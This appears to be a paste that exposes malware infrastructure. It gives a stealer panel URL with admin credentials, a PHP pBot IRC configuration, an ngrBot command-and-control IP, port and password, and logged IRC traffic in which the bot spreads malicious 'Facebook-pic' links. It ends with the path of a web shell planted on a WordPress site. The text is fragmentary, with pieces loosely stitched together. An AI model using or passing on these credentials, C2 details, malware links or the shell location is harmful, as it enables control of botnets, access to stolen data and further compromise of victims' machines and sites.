Stealer - ISR v0.3 - keskustelua.com

// not many logs but .. :P
http://www.keskustelua.com/index.php
user : admin
pass : admin

PHP - pBot - Gerbong3

Working on

// 100 bots inside and many scanners
class pBot
var $config = array("server"=>"irc.javairc.org",
                    "port"=>"6667",
                    "pass"=>"",
                    "prefix"=>"tiga",
                    "maxrand"=>"5",
                    "chan"=>"# owner",
                    "chan2"=>"# owner",
                    "key"=>"bot",
                    "modes"=>"+ps",
                    "password"=>"jancuk",
                    "trigger"=>".",
                    "hostauth"=>"stupid.us"

PHP - pBot - e107.fuck.cc

Linux - ngrBot - 212.7.203.231

IP : 212.7.203.231
Port : 1866
Pass : secret
///// traffic on IRC
PRIVMSG x :[v="1.1.0.0" c="30e41aa1" h="256637BCBF0DEAC06623689DB831A54F" p="C:\Documents and Settings\UserName\Application Data\Scxaxs.exe"]
NICK n{US|XPa}ufzpzpe
USER ufzpzpe 0 0 :ufzpzpe
JOIN #!x! secret
PRIVMSG #!x! :[MSN]: Updated MSN spread interval to "2"
PRIVMSG #!x! :[MSN]: Updated MSN spread message to ":) hahahayhahahua! http://littlewillow.com/Facebook-pic-182626-JPEG"
PRIVMSG #!x! :[HTTP]: Updated HTTP spread interval to "3"
PRIVMSG #!x! :[HTTP]: Updated HTTP spread message to ";) hehehe! http://littlewillow.com/Facebook-pic-379596-JPEG"

//and easy found a shell whith simple crwaling
http://littlewillow.com/wp-content/uploads/2007/07/ibinc.php